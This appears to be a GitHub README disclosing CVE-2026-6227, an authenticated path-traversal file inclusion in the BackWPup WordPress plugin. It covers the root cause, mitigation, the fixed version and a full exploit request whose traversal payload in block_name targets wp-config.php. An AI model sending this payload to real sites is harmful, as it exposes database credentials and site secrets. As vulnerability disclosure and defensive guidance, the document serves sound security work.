pixel-defaultbr/cve-2026-6227Educational proof-of-concept for CVE-2026-6227, an authenticated Local File Inclusion in BackWPup WordPress plugin, including root cause analysis, exploit request, and mitigation guidance.
BackWPup versions up to and including 5.6.6 are affected by an authenticated Local File Inclusion (LFI) vulnerability via the block_name parameter of the /wp-json/backwpup/v1/getblock REST endpoint.
The flaw was caused by non-recursive str_replace() sanitization of traversal sequences and is already fixed in version 5.6.7.
This repository is strictly for educational and ethical security research purposes. The information provided here is intended to help administrators and security teams verify their systems. Do not use this against targets without explicit, written permission.
BackWPupHelpers::component()POST /wp-json/backwpup/v1/getblockblock_nameThe vulnerable component loader applies a non-recursive str_replace() sanitization before invoking include(). This can be bypassed using crafted traversal patterns such as ....// or ..././, allowing attacker-controlled path resolution.
wp-config.php)By default, exploitation requires administrator-level access. If backup permissions are delegated, lower-privileged users may also become able to exploit this issue.
POST request to /wp-json/backwpup/v1/getblock.block_name with a traversal payload.Example request:
POST /wp-json/backwpup/v1/getblock HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-WP-Nonce: <your_nonce_here>
Cookie: wordpress_logged_in_<hash>=<your_session_cookie>
block_name=....//....//....//....//wp-config&block_type=component&block_data%5Btype%5D=success&block_data%5Bfont%5D=small&block_data%5Bdismiss_icon%5D=true&block_data%5Bcontent%5D=You+scheduled+a+new+backup+successfully!
backwpup capability to trusted roles only/wp-json/backwpup/v1/getblock